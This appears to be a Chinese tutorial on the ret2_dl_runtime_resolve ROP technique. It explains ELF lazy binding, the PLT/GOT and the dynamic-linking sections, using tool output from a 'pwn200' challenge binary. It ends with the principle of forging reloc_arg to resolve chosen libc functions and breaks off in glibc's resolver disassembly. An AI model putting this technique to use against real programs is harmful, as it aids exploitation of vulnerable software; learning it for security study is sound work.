一种高级的ROP漏洞利用技术。
要想弄懂这个ROP利用技巧,需要首先理解ELF文件的基本结构,以及动态链接的基本过程。
glibc源码看的想吐。
——当你的才华还配不上你的野心时,请静下来好好努力!
1、延迟绑定
动态链接
的确有很多优势,比静态链接
要灵活得多,但它是以牺牲一部分性能
为代价的。据统计,ELF程序在静态链接
下要比动态库
稍微快点,大约为1%~5%,当然这取决于程序本身的特性
及运行环境
等。我们知道动态链接比静态链接慢的主要原因
是动态链接下对于全局和静态的数据
访问都要进行复杂的GOT定位
,然后间接寻址
;对于模块间的调用
也要先定位GOT
,然后再进行间接跳转
,如此一来,程序的运行速度必定会减慢。另外一个减慢运行速度的原因
是动态链接的链接工作
在运行时
完成,即程序开始执行时,动态链接器都要进行一次链接工作,正如我们上面提到的,动态链接器
会寻找并装载所需要的共享对象
,然后进行符号查找、地址重定位
等工作,这些工作势必减慢程序的启动速度
。这是影响动态链接性能的两个主要问题
,我们将在这一节介绍优化动态链接性能的一些方法。[1]
1.1、延迟绑定的实现
1.1.1、PLT的基本原理
在动态链接
下,程序模块之间包含了大量的函数引用
(全局变量
往往比较少,因为大量的全局变量会导致模块之间耦合度
变大),所以在程序开始执行前
,动态链接会耗费不少时间用于解决模块之间的函数引用
的符号查找
以及重定位
,这也是我们上面提到的减慢动态链接性能的第二个原因
。不过可以想象,在一个程序运行过程中,可能很多函数在程序执行完时都不会被用到
,比如一些错误处理函数或者是一些用户很少用到的功能模块等,如果一开始就把所有函数都链接好实际上是一种浪费。所以ELF采用了一种叫做延迟绑定(Lazy Binding)
的做法,基本的思想
就是当函数第一次被用到时
才进行绑定(符号查找、重定位等),如果没有用到
则不进行绑定。所以程序开始执行时,模块间的函数调用都没有进行绑定,而是需要用到时才由动态链接器
来负责绑定。这样的做法可以大大加快
程序的启动速度
,特别有利于一些有大量函数引用
和大量模块
的程序。[1]
ELF使用PLT(Procedure Linkage Table)
的方法来实现,这种方法使用了一些很精巧的指令序列来完成。在开始详细介绍PLT之前,我们先从动态链接器的角度
设想一下:假设liba.so
需要调用libc.so
中的bar()
函数,那么当liba.so
中第一次
调用bar()
时,这时候就需要调用动态链接器
中的某个函数
来完成地址绑定
工作,我们假设这个函数叫做lookup()
,那么lookup()需要知道哪些必要的信息
才能完成这个函数地址绑定工作呢?我想答案很明显,lookup()至少需要知道这个地址绑定发生在哪个模块
,哪个函数
?那么我们可以假设lookup的原型为lookup(module, function)
,这两个参数的值在我们这个例子中分别为liba.so
和bar()
。在Glibc
中,我们这里的lookup()
函数真正的名字叫_dl_runtime_resolve()
。[1]
当我们调用某个外部模块
的函数时,如果按照通常的做法应该是通过GOT中相应的项
进行间接跳转
。PLT
为了实现延迟绑定
,在这个过程中间又增加了一层间接跳转
。调用函数
并不直接通过GOT
跳转,而是通过一个叫作PLT项
的结构来进行跳转。每个外部函数
在PLT
中都有一个相应的项
,比如bar()
函数在PLT
中的项的地址我们称之为bar@plt
。让我们来看看bar@plt的实现:[1]1
2
3
4
5bar@plt:
jmp *(bar@GOT) ;*(bar@GOT)为bar()在GOT表中相应项的地址
push n ;bar()在重定位表“.rel.plt”中相应项的字节偏移
push moduleID ;GOT[1],bar()所在共享库的moduleID
jump _dl_runtime_resolve ;GOT[2],动态链接器的_dl_runtime_resolve()函数
bar@plt
的第一条指令
是一条通过GOT间接跳转的指令。bar@GOT
表示GOT中保存bar()这个函数相应的项。如果链接器在初始化阶段
已经初始化该项
,并且将bar()的地址
填入该项,那么这个跳转指令的结果就是我们所期望的,跳转到bar(),实现函数正确调用。但是为了实现延迟绑定
,链接器在初始化阶段
并没有将bar()的地址
填入到该项,而是将上面代码中第二条指令“push n”的地址
填入到bar@GOT
中,这个步骤不需要
查找任何符号,所以代价很低
。很明显,第一条指令的效果是跳转到第二条指令,相当于没有进行任何操作。第二条指令
将一个数字n
压入堆栈中,这个数字是bar
这个符号引用在重定位表“.rel.plt”
中的相应项的字节偏移
。接着又是一条push指令
将模块的ID
压入到堆栈,然后跳转到_dl_runtime_resolve
。这实际上就是在实现我们前面提到的lookup(module, function)
这个函数的调用
:先将所需要重定位的符号
在重定位表“.rel.plt”
中的相应项的字节偏移
压入堆栈,再将模块ID压入堆栈,然后调用动态链接器的_dl_runtime_resolve()
函数来完成符号解析
和重定位
工作。_dl_runtime_resolve()
在进行一系列工作以后将bar()的真正地址
填入到bar@GOT
中。[1]
一旦bar()
这个函数被解析完毕
,当我们再次调用
bar@plt时,第一条jmp指令
就能够跳转到真正的bar()函数
中,bar()函数返回
的时候会根据堆栈里面保存的返回地址
直接返回到调用者
,而不会再继续执行bar@plt中第二条指令开始的那段代码
,那段代码只会在符号未被解析时
执行一次。[1]
1.1.2、PLT的真正实现
上面我们描述的是PLT的基本原理
,PLT真正的实现
要比它的结构稍微复杂一些。ELF将GOT
拆分成了两个表叫做“.got”
和“.got.plt”
。其中“.got”
用来保存全局变量引用
的地址,“.got.plt”
用来保存函数引用
的地址,也就是说,所有对于外部函数的引用
全部被分离出来放到了“.got.plt”
中。另外“.got.plt”
还有一个特殊的地方是它的前三项
是有特殊意义
的,分别含义如下:[1]1
2
3GOT[0]:保存的是“.dynamic”节的地址,这个节描述了本模块动态链接相关的信息,我们在后面还会介绍“.dynamic”节。
GOT[1]:保存的是本模块的ID。link_map结构的地址,动态链接器利用该地址来对符号进行解析。
GOT[2]:保存的是_dl_runtime_resolve()的地址。
其中第二项
和第三项
由动态链接器
在装载共享模块
的时候负责将它们初始化
。“.got.plt”
的其余项
分别对应每个外部函数的引用
。PLT的结构也与我们示例中的PLT稍有不同,为了减少代码的重复,ELF把上面例子中的最后两条指令
放到PLT
中的第一项
。并且规定每一项的长度是16个字节
,刚好用来存放3条指令
,实际的PLT基本结构
如图所示:[1]
实际的PLT基本结构代码
如下:1
2
3
4
5
6
7
8PLT0:
push *(GOT + 4) ;GOT[1],bar()所在共享库的moduleID,link_map结构的地址
jump *(GOT + 8) ;GOT[2],动态链接器的_dl_runtime_resolve()函数的地址
......
bar@plt:
jmp *(bar@GOT) ;*(bar@GOT)为bar()在GOT表中相应项的地址
push n ;bar()在重定位表“.rel.plt”中相应项的字节偏移
jump PLT0
PLT
在ELF文件中以独立的节
存放,节名通常叫做“.plt”
,因为它本身是一些地址无关的代码
,所以可以跟代码节
等一起合并成同一个可读可执行
的“Segment”
被装载入内存。[1]
2、动态链接相关结构
动态链接
在不同的系统
上有不同的实现方式,ELF
的动态链接实现方式比PE
稍微简单一点。动态链接
的可执行文件的装载
与静态链接
情况基本一样。首先操作系统
会读取可执行文件的头部
,检查文件的合法性
,然后从头部中的“Program Header Table”
中读取每个“Segment”
的虚拟地址
、文件地址
和属性
,并将它们映射到进程虚拟空间
的相应位置,这些步骤跟前面的静态链接情况下的装载基本无异。
在静态链接
情况下,操作系统
接着就可以
把控制权
转交给可执行文件的入口地址
,然后程序开始执行,一切看起来非常直观。
在动态链接
情况下,操作系统
还不能
在装载完可执行文件
之后就把控制权
交给可执行文件
,因为我们知道可执行文件
依赖于很多共享对象
。这时候,可执行文件里对于很多外部符号的引用
还处于无效地址
的状态,即还没有跟相应的共享对象
中的实际位置
链接起来。所以在映射完可执行文件之后,操作系统会先启动一个动态链接器(Dynamic Linker)
。
在Linux
下,动态链接器ld.so
实际上是一个共享对象
,操作系统同样通过映射的方式
将它加载到进程的地址空间
中。操作系统在加载完动态链接器
之后,就将控制权交给动态链接器的入口地址
(与可执行文件一样,共享对象也有入口地址)。当动态链接器
得到控制权
之后,它开始执行一系列自身的初始化
操作,然后根据当前的环境参数
,开始对可执行文件
进行动态链接工作
。当所有动态链接工作
完成以后,动态链接器
会将控制权
转交到可执行文件的入口地址
,程序开始正式执行。[1]
2.0、标准ELF变量类型
1 | /* Standard ELF types. */ |
2.1、“.interp”节
动态链接器的位置
既不是由系统配置
指定,也不是由环境参数
决定,而是由ELF可执行文件
决定。在动态链接
的ELF可执行文件
中,有一个专门的节叫做“.interp”
节(“interp”是“interpreter”(解释器)
的缩写)。如果我们使用objdump
工具来查看,可以看到“.interp”
内容:[1]1
2
3
4
5
6
7$ objdump -s pwn200
pwn200: file format elf32-i386
Contents of section .interp:
8048134 2f6c6962 2f6c642d 6c696e75 782e736f /lib/ld-linux.so
8048144 2e3200 .2.
“.interp”
的内容很简单,里面保存的就是一个字符串
,这个字符串就是可执行文件
所需要的动态链接器的路径
,在Linux
下,可执行文件所需要的动态链接器的路径几乎都是“/lib/ld-linux.so.2”
,其他的*nix操作系统
可能会有不同的路径。在Linux
的系统中,/lib/ld-linux.so.2
通常是一个软链接
,比如在我的机器上,它指向/lib/ld-2.6.1.so
,这个才是真正的动态链接器
。在Linux中,操作系统在对可执行文件
的进行加载
的时候,它会去寻找装载
该可执行文件所需要相应的动态链接器
,即“.interp”
节指定的路径的共享对象
。
动态链接器
在Linux下是Glibc的一部分
,也就是属于系统库级别
的,它的版本号
往往跟系统中的Glibc库版本号
是一样的,比如我的系统中安装的是Glibc 2.6.1
,那么相应的动态链接器
也就是/lib/ld-2.6.1.so
。当系统中的Glibc库更新
或者安装其他版本
的时候,/lib/ld-linux.so.2
这个软链接
就会指向到新的动态链接器
,而可执行文件
本身不需要修改“.interp”
中的动态链接器路径
来适应系统的升级。
我们也可以用这个命令来查看一个可执行文件
所需要的动态链接器的路径
,在Linux下,往往是如下结果:1
2$ readelf -l a.out | grep interpreter
[Requesting program interpreter: /lib/ld-linux.so.2]
而当我们在FreeBSD 4.6.2
下执行这个命令时,结果是:1
2$ readelf -l a.out | grep interpreter
[Requesting program interpreter: /usr/libexec/ld-elf.so.1]
64位的Linux
下的可执行文件是:1
2$ readelf -l a.out | grep interpreter
[Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
2.2、“.dynamic”节
类似于“.interp”
这样的节,ELF中还有几个节也是专门用于动态链接
的,比如“.dynamic”节
和“.dynsym”节
等。要了解动态链接器
如何完成链接过程
,跟前面一样,从了解ELF文件
中跟动态链接相关的结构
入手将会是一个很好的途径。ELF文件中跟动态链接相关的节有好几个,相互之间的关系也比较复杂,我们先从“.dynamic”节
入手。
动态链接ELF中最重要的结构
应该是“.dynamic”节
,这个节里面保存了动态链接器
所需要的基本信息
,比如依赖于哪些共享对象
、动态链接符号表
的位置、动态链接重定位表
的位置、共享对象初始化代码
的地址等。“.dynamic”节的结构
很经典,就是我们已经碰到过的ELF中眼熟的结构数组
,结构定义在“elf.h”
中:[3]1
2
3
4
5
6
7
8
9
10
11
12
13
14
15typedef struct {
Elf32_Sword d_tag;
union {
Elf32_Word d_val;
Elf32_Addr d_ptr;
} d_un;
} Elf32_Dyn;
typedef struct {
Elf64_Sxword d_tag;
union {
Elf64_Xword d_val;
Elf64_Addr d_ptr;
} d_un;
} Elf64_Dyn;
Elf32_Dyn
结构由一个类型值
加上一个附加的数值
或指针
,对于不同的类型
,后面附加的数值
或者指针
有着不同的含义
。我们这里列举几个比较常见的类型值
(这些值都是定义在“elf.h”里面的宏
),如下表所示:[3]
d_tag类型 | d_un的含义 |
---|---|
DT_NEEDED | ELF所依赖的共享库文件名,d_val表示共享库文件名在“.dynstr”表中的偏移 |
DT_INIT | d_ptr表示init函数地址 |
DT_INIT_ARRAY | d_ptr表示有关初始化的函数的地址数组的地址 |
DT_INIT_ARRAYSZ | d_val表示DT_INIT_ARRAY数组的大小 |
DT_FINI | d_ptr表示fini函数地址 |
DT_FINI_ARRAY | d_ptr表示有关结束清理的函数的地址数组的地址 |
DT_FINI_ARRAYSZ | d_val表示DT_FINI_ARRAY数组的大小 |
DT_HASH | 动态链接符号Hash表地址,d_ptr表示“.hash”的地址 |
DT_GNU_HASH | 动态链接GNU风格的Hash表的地址,d_ptr表示“.gnu.hash”的地址 |
DT_STRTAB | 动态链接字符串表的地址,d_ptr表示“.dynstr”的地址 |
DT_STRSZ | d_val表示动态链接字符串表“.dynstr”的大小 |
DT_SYMTAB | 动态链接符号表的地址,d_ptr表示“.dynsym”的地址 |
DT_SYMENT | d_val表示动态链接符号表“.dynsym”中每一项的大小 |
DT_PLTGOT | d_ptr表示全局偏移表“.got.plt”地址。 |
DT_PLTREL | d_val表示动态链接重定位表的类型值“d_tag”,也就是DT_REL对应的值 |
DT_PLTRELSZ | d_val表示动态链接重定位表中函数重定位表“.rel.plt”的大小 |
DT_JMPREL | d_ptr表示动态链接重定位表中函数重定位表“.rel.plt”的地址 |
DT_REL | d_ptr表示动态链接重定位表的地址(ELF32) |
DT_RELSZ | d_val表示动态链接重定位表中变量重定位表“.rel.dyn”的大小(ELF32) |
DT_RELENT | d_val表示动态链接重定位表中每一项的大小(ELF32) |
DT_RELA | d_ptr表示动态链接重定位表的地址(ELF64) |
DT_RELASZ | d_val表示动态链接重定位表中变量重定位表“.rel.dyn”的大小(ELF64) |
DT_RELAENT | d_val表示动态链接重定位表中每一项的大小(ELF64) |
DT_VERNEED | d_ptr表示ELF文件所需要的库文件版本表的地址 |
DT_VERNEEDNUM | d_val表示ELF文件所需要的库文件版本表条目的数量 |
DT_VERSYM | d_ptr表示动态符号版本表“.gnu.version”的地址 |
DT_SONAME | d_val表示共享库名称 |
DT_RPATH | d_val表示库搜索路径(不建议使用) |
DT_NULL | 标记“.dynamic”节的结束 |
定义代码:
[3]1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43/* Legal values for d_tag (dynamic entry type). */
......
上表中只列出了一部分定义
,还有一些不太常用的定义我们就暂且忽略,具体可以参考LSB手册
和elf.h的定义
。从上面给出的这些定义来看,“.dynamic”
节里面保存的信息有点像ELF文件头
,只是我们前面看到的ELF文件头
中保存的是静态链接
时相关的内容,比如静态链接
时用到的符号表
、重定位表
等,这里换成了动态链接
下所使用的相应信息了。所以,“.dynamic”
节可以看成是动态链接
下ELF文件的“文件头”
。使用readelf
工具可以查看“.dynamic”节
的内容:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29$ readelf -d pwn200
Dynamic section at offset 0x750 contains 25 entries:
Tag Type Name/Value
0x00000001 (NEEDED) Shared library: [libc.so.6]
0x0000000c (INIT) 0x8048328
0x0000000d (FINI) 0x8048650
0x00000019 (INIT_ARRAY) 0x8049744
0x0000001b (INIT_ARRAYSZ) 4 (bytes)
0x0000001a (FINI_ARRAY) 0x8049748
0x0000001c (FINI_ARRAYSZ) 4 (bytes)
0x00000004 (HASH) 0x804818c
0x6ffffef5 (GNU_HASH) 0x80481c0
0x00000005 (STRTAB) 0x8048260
0x00000006 (SYMTAB) 0x80481e0
0x0000000a (STRSZ) 95 (bytes)
0x0000000b (SYMENT) 16 (bytes)
0x00000015 (DEBUG) 0x0
0x00000003 (PLTGOT) 0x8049844
0x00000002 (PLTRELSZ) 48 (bytes)
0x00000014 (PLTREL) REL
0x00000017 (JMPREL) 0x80482f8
0x00000011 (REL) 0x80482f0
0x00000012 (RELSZ) 8 (bytes)
0x00000013 (RELENT) 8 (bytes)
0x6ffffffe (VERNEED) 0x80482d0
0x6fffffff (VERNEEDNUM) 1
0x6ffffff0 (VERSYM) 0x80482c0
0x00000000 (NULL) 0x0
2.3、“.rel.dyn”节和“.rel.plt”节
我们可以使用readelf
查看重定位表节:1
2
3
4
5
6
7
8
9
10
11
12
13
14$ readelf -r pwn200
Relocation section '.rel.dyn' at offset 0x2f0 contains 1 entries:
Offset Info Type Sym.Value Sym. Name
08049840 00000206 R_386_GLOB_DAT 00000000 __gmon_start__
Relocation section '.rel.plt' at offset 0x2f8 contains 6 entries:
Offset Info Type Sym.Value Sym. Name
08049850 00000107 R_386_JUMP_SLOT 00000000 read@GLIBC_2.0
08049854 00000207 R_386_JUMP_SLOT 00000000 __gmon_start__
08049858 00000307 R_386_JUMP_SLOT 00000000 strlen@GLIBC_2.0
0804985c 00000407 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
08049860 00000507 R_386_JUMP_SLOT 00000000 write@GLIBC_2.0
08049864 00000607 R_386_JUMP_SLOT 00000000 strncmp@GLIBC_2.0
“.rel.dyn”
实际上是对数据引用
的修正,它所修正的位置位于“.got”
以及数据节
;而“.rel.plt”
是对函数引用
的修正,它所修正的位置位于“.got.plt”
。
32位
和64位
ELF使用的重定位表
有一点区别,但都是结构体数组
。一般32位
使用Elf32_Rel
,64位
使用Elf32_Rela
。结构体定义如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39/* Relocation table entry without addend (in section of type SHT_REL). */
typedef struct {
Elf32_Addr r_offset; /* 表示重定位所作用的虚拟地址或相对基地址的偏移 */
Elf32_Word r_info; /* 重定位类型和符号表下标 */
} Elf32_Rel;
/* The following, at least, is used on Sparc v9, MIPS, and Alpha. */
typedef struct {
Elf64_Addr r_offset; /* 表示重定位所作用的虚拟地址或相对基地址的偏移 */
Elf64_Xword r_info; /* 重定位类型和符号表下标 */
} Elf64_Rel;
/* Relocation table entry with addend (in section of type SHT_RELA). */
typedef struct {
Elf32_Addr r_offset; /* 表示重定位所作用的虚拟地址或相对基地址的偏移 */
Elf32_Word r_info; /* 重定位类型和符号表下标 */
Elf32_Sword r_addend; /* Addend */
} Elf32_Rela;
typedef struct {
Elf64_Addr r_offset; /* 表示重定位所作用的虚拟地址或相对基地址的偏移 */
Elf64_Xword r_info; /* 重定位类型和符号表下标 */
Elf64_Sxword r_addend; /* Addend */
} Elf64_Rela;
/* How to extract and insert information held in the r_info field. */
//获得高24位,表示在符号表中的下标
//获得低8位,表示重定位类型
//通过R_SYM和R_Type重组r_info
//获得高32位,表示在符号表中的下标
//获得低32位,表示重定位类型
//通过R_SYM和R_Type重组r_info
32位ELF
一般使用的重定位表项
的结构体是Elf32_Rel
,其中包含r_offset
和r_info
两个成员,都是4byte
类型的变量。r_offset:
表示重定位所作用的位置
。对于重定位文件(.o)
来说,此值是受重定位作用
的存储单元
在其所在节
中的字节偏移量
;对于可执行文件
或共享目标文件(.so)
来说,此值是受重定位作用
的存储单元
的虚拟地址
。r_info:
其高24位
表示该重定位项在动态链接符号表.dynsym
中对应项的下标
,低8位
表示该重定位项的重定向类型
。
64位ELF
一般使用的重定位表项
的结构体是Elf64_Rela
,其中包含r_offset
、r_info
和r_addend
三个成员,都是8byte
类型的变量。r_offset:
表示重定位所作用的位置
。对于重定位文件(.o)
来说,此值是受重定位作用
的存储单元
在其所在节
中的字节偏移量
;对于可执行文件
或共享目标文件(.so)
来说,此值是受重定位作用
的存储单元
的虚拟地址
。r_info:
其高32位
表示该重定位项在动态链接符号表.dynsym
中对应项的下标
,低32位
表示该重定位项的重定向类型
。r_addend:
此成员指定常量加数
,用于计算将存储在可重定位字段中的值
。Elf32_Rela
中是用r_addend显式
地指出加数;而对 Elf32_Rel
来说,加数是隐含
在被修改的位置里的。在所有情况
下,加数
和计算所得的结果
使用相同的字节顺序
。加数值
的重定位项类型
和解释
由特定于平台的 ABI 定义。
重定位节
可以引用其他两个节:符号表
(由 sh_link
节头项标识)和要修改的节
(由 sh_info
节头项标识)。节中指定了这些关系。如果可重定位目标文件
中存在重定位节
,则需要 sh_info
项,但对于可执行文件
和共享目标文件
,该项是可选的
。重定位偏移(r_offset)
满足执行重定位的要求。不同的ELF文件
中,重定位项的 r_offset
成员的含义
略有不同,但其重定位的作用
是不变的。
在所有情况下,r_offset
值都会指定受影响存储单元
的第一个字节
的偏移
或虚拟地址
。重定位类型
可指定要更改的位
以及计算这些位的值
的方法。
重定位类型(Relocation Types)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24/* i386 relocs. */
......
/* AMD x86-64 relocations. */
......
32位ELF
一般用来函数重定位的重定位类型就是R_386_JMP_SLOT
类型,64位ELF
函数重定位的重定位类型就是R_X86_64_JUMP_SLOT
类型,源码对其的注释是Create PLT entry
。这种类型的函数重定位
都会在ELF中创建一个PLT入口
。
2.4、“.got”节和“.got.plt”节
GOT表
在ELF文件中分为两个部分
:
.got
:存储对全局变量
的引用。.got.plt
:存储对函数
的引用。
前面讲延迟绑定
的时候讲过,.got.plt
的前三项
具有特殊的含义:
GOT[0]
:保存的是“.dynamic”节
的地址。GOT[1]
:保存的是本模块的ID
。指向内部类型为link_map的指针
,只会在动态链接器
中使用,包含了进行符号解析
需要的当前ELF共享目标文件
的信息。每个link_map
都是一条双向链表
的一个节点,而这个链表保存了所有加载的ELF共享目标文件
的信息。动态链接器
利用该地址
来对符号
进行解析。GOT[2]
:保存的是_dl_runtime_resolve()
的地址。
解析之前
,GOT表的其他表项
存储的是所解析函数对应的PLT表项第二条指令的地址
。解析之后
,存储的是函数的真实地址
。
2.5、“.dynsym”节
“.dynsym”节
是动态链接符号表
。这里保存的是一个结构体数组
,结构体的定义
如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27/* Symbol table entry. */
typedef struct {
Elf32_Word st_name; /* 符号名,符号在字符串表中的偏移 */
Elf32_Addr st_value; /* 符号的值,可能是地址或偏移 */
Elf32_Word st_size; /* 符号的大小 */
unsigned char st_info; /* 符号类型及绑定属性 */
unsigned char st_other; /* 符号的可见性 */
Elf32_Section st_shndx; /* 节头表索引 */
} Elf32_Sym;
typedef struct {
Elf64_Word st_name; /* 符号名,符号在字符串表中的偏移 */
unsigned char st_info; /* 符号类型及绑定属性 */
unsigned char st_other; /* 符号的可见性 */
Elf64_Section st_shndx; /* 节头表索引 */
Elf64_Addr st_value; /* 符号的值,可能是地址或偏移 */
Elf64_Xword st_size; /* 符号的大小 */
} Elf64_Sym;
/* st_info字段中符号类型和绑定属性的提取 */
/* Elf32_Sym和Elf64_Sym都使用相同的一字节的st_info字段 */
我们主要关注此结构体中的两个成员
(注意32位
和64位
中这两个值在结构体里的位置
不一样!)
st_name
:该成员保存着符号在.dynstr表
(动态链接字符串表)中的偏移
。st_value
:如果这个符号被导出
,这个符号保存着对应的虚拟地址
。
st_other
:st_other 变量定义了符号的可见性
。
符号可见性规范
:第 1 部分 - 符号可见性简介
STV_DEFAULT(0)
:默认符号可见性规则。用它定义的符号将被导出。换句话说,它声明符号是到处可见的。STV_INTERNAL(1)
:特定于处理器的隐藏类。符号在当前可执行文件或共享库之外不可访问。STV_HIDDEN(2)
:Sym在其他模块中不可用。用它定义的符号将不被导出,并且不能从其他对象进行使用。STV_PROTECTED(3)
:不可抢占,不可导出。符号在当前可执行文件或共享对象之外可见,但是不会被覆盖。换句话说,如果共享库中的一个受保护符号被该共享库中的另一个代码引用,那么此代码将总是引用共享库中的此符号,即便可执行文件定义了相同名称的符号。
st_shndx
:每个符号表条目的定义
都与某些节
对应。st_shndx
变量保存了相关节头表的索引
。
特殊节索引
:Linker and Libraries Guide
宏定义 | 值 | 说明 |
---|---|---|
SHN_UNDEF | 0x0000 | 未定义的、丢失的、不相关的或其他没有意义的节引用。例如,相对于节号SHN_UNDEF定义的符号是未定义的符号。该符号在本目标文件中被引用到,但是定义在其他目标文件中。 |
SHN_LORESERVE | 0xFF00 | 被保留索引号区间的下限。 |
SHN_LOPROC | 0xFF00 | 为特定处理器定制节所保留的索引号区间的下限。 |
SHN_BEFORE | 0xFF00 | 优先于其他节的排序节(Solaris)。与SHF_LINK_ORDER和SHF_ORDERED节标志一起规定初始和最终节顺序。 |
SHN_AFTER | 0xFF01 | 在其他节之后的排序节(Solaris)。与SHF_LINK_ORDER和SHF_ORDERED节标志一起规定初始和最终节顺序。 |
SHN_HIPROC | 0xFF1F | 为特定处理器定制节所保留的索引号区间的上限。 |
SHN_LOOS | 0xFF20 | 为特定操作系统定制节所保留的索引号区间的下限。 |
SHN_HIOS | 0xFF3F | 为特定操作系统定制节所保留的索引号区间的上限。 |
SHN_ABS | 0xFFF1 | 此节中所定义的符号有绝对的值,这个值不会因重定位而改变。 |
SHN_COMMON | 0xFFF2 | 相对于这个节定义的符号是公共符号,例如FORTRAN的COMMON块或未分配的C外部变量。这些符号有时被称为暂定符号。表示该符号是一个”COMMON块”的符号,一般来说,未初始化的全局符号定义就是这种类型的。 |
SHN_XINDEX | 0xFFFF | 溢出值,指示实际的节头索引太大,所以存储在别处。当节头项中e_shstrndx的值是SHN_XINDEX时,表明真实的节头表索引值存储在第一个节头表表项(即节头表索引值为0)的成员sh_link中。 |
SHN_HIRESERVE | 0xFFFF | 被保留索引号区间的上限。 |
st_info
指定符号类型
及绑定属性
。st_info的低四位
表示符号类型
,高四位
表示绑定属性
。符号类型以STT
开头,符号绑定以STB
开头,下面对几种常见的符号类型和符号绑定进行介绍。
1、符号类型
STT_NOTYPE(0)
:符号类型未定义
。STT_OBJECT(1)
:表示该符号与数据目标文件
关联。STT_FUNC(2)
:表示该符号与函数
或者其他可执行代码
关联。
2、绑定属性
STB_LOCAL(0)
:本地符号
在目标文件
之外是不可见的,目标文件
包含了符号的定义
,如一个声明为static的函数。STB_GLOBAL(1)
:全局符号
对于所有要合并的目标文件
来说都是可见的。一个全局符号在一个文件
中进行定义后,另外一个文件
可以对这个符号进行引用。STB_WEAK(2)
:与全局绑定
类似,不过比STB_GLOBAL
的优先级低
。被标记
为STB_WEAK
的符号有可能会被同名
的未被标记
为STB_WEAK
的符号覆盖
。
2.6、“.dynstr”节
“.dynstr”
是动态链接字符串表
。其第一个字节
为0,然后包含动态链接
所需的字符串(导入函数名等)(以\x00结尾
)。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16.dynstr:08048260 _dynstr segment byte public '' use32
.dynstr:08048260 assume cs:_dynstr
.dynstr:08048260 ;org 8048260h
.dynstr:08048260 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
.dynstr:08048260 byte_8048260 db 0
.dynstr:08048261 aGmonStart db '__gmon_start__',0
.dynstr:08048270 aLibcSo6 db 'libc.so.6',0
.dynstr:0804827A aIoStdinUsed db '_IO_stdin_used',0
.dynstr:08048289 aStrncmp db 'strncmp',0
.dynstr:08048291 aStrlen db 'strlen',0
.dynstr:08048298 aRead db 'read',0
.dynstr:0804829D aLibcStartMain db '__libc_start_main',0
.dynstr:080482AF aWrite db 'write',0
.dynstr:080482B5 aGlibc20 db 'GLIBC_2.0',0
.dynstr:080482BF align 10h
.dynstr:080482BF _dynstr ends
3、ret2_dl_runtime_resolve利用原理
3.1、函数调用流程
动态链接下第一次调用
glibc的函数需要通过PLT表
中的一段代码解析函数的真实地址
,这也是ELF的延迟绑定
的特点。具体的解析方式就是通过调用_dl_runtime_resolve(link_map_obj, reloc_arg)
,如果我们可以控制
整个解析过程中的参数
,那么就能解析我们想要的函数地址
。以调用printf函数
为例,回顾一下整个流程:
- 1、
call printf@PLT
- 2、
jmp *(printf@GOT)
-> (第一次会jmp回来,解析之后就直接jmp到解析出来的地址了) ->push n
->jmp &PLT[0]
(跳到公共表项)- 3、
push GOT[1]
(link_map可以理解为模块ID) ->jmp *GOT[2]
(跳转到_dl_runtime_resolve函数)
以上步骤相当于调用了_dl_runtime_resolve(link_map_obj, reloc_arg)
- 4、
解析完毕
后会把解析出来的地址写回
通过reloc_arg定位到的.rel.plt表项的r_offset指向的位置
(其实就是.got.plt
表中的对应项)
弄懂_dl_runtime_resolve()
的解析过程后,就可以通过伪造reloc_arg
来解析出我们想要的libc函数地址
并且写回可控区域
了。
3.2、_dl_runtime_resolve(link_map_obj, reloc_arg)解析流程
- 1、通过
link_map_obj
访问“.dynamic”节
,分别取出动态链接字符串表“.dynstr”
、动态链接符号表“.dynsym”
、重定位表“.rel.plt”的地址
。记为dynstr_addr
、dynsym_addr
、rel_plt_addr
。- 2、利用
rel_plt_addr + reloc_index
,求出当前函数
重定位表项Elf32_Rel的指针,记为rel
。- 3、
rel->r_info
的高24位
作为动态链接符号表“.dynsym”
的下标,即利用dynsym_addr + ((rel->r_info)>>8)
,求出当前函数
动态链接符号表项Elf32_Sym的指针,记作sym
。- 4、
sym -> st_name
作为动态链接字符串表“.dynstr”
的下标,即利用dynstr_addr + (sym -> st_name)
,求出当前函数
动态链接字符串表项在的指针,记作str
。- 5、在
动态链接库
查找这个函数的地址,并且把找到的地址
赋值给rel->r_offset
指向存储单元,即.got.plt
中此函数的对应项。- 6、最后
调用这个函数
。
3.2.0、link_map结构体定义
1 |
|
3.2.1、_dl_runtime_resolve()的内容
_dl_runtime_resolve()
在glibc-2.23/sysdeps/i386/dl-trampoline.S(64位把i386改为x86_64)
中使用汇编
实现,其主要代码如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
_dl_runtime_resolve
_dl_runtime_resolve, @function
cfi_startproc
16
_dl_runtime_resolve:
cfi_adjust_cfa_offset (8)
_CET_ENDBR
pushl %eax # Preserve registers otherwise clobbered.
cfi_adjust_cfa_offset (4)
pushl %ecx
cfi_adjust_cfa_offset (4)
pushl %edx
cfi_adjust_cfa_offset (4)
movl 16(%esp), %edx # Copy args pushed by PLT in register. Note
movl 12(%esp), %eax # that 'fixup' takes its parameters in regs.
call _dl_fixup # Call resolver.
popl %edx # Get register content back.
cfi_adjust_cfa_offset (-4)
movl (%esp), %ecx
movl %eax, (%esp) # Store the function address.
movl 4(%esp), %eax
ret $12 # Jump to function address.
cfi_endproc
_dl_runtime_resolve, .-_dl_runtime_resolve
修正后
的代码如下:1
2
3
4
5
6
7
8
9
10
11
12
13
140xf7fee000 <_dl_runtime_resolve> push eax
0xf7fee001 <_dl_runtime_resolve+1> push ecx
0xf7fee002 <_dl_runtime_resolve+2> push edx
0xf7fee003 <_dl_runtime_resolve+3> mov edx, dword ptr [esp + 0x10]
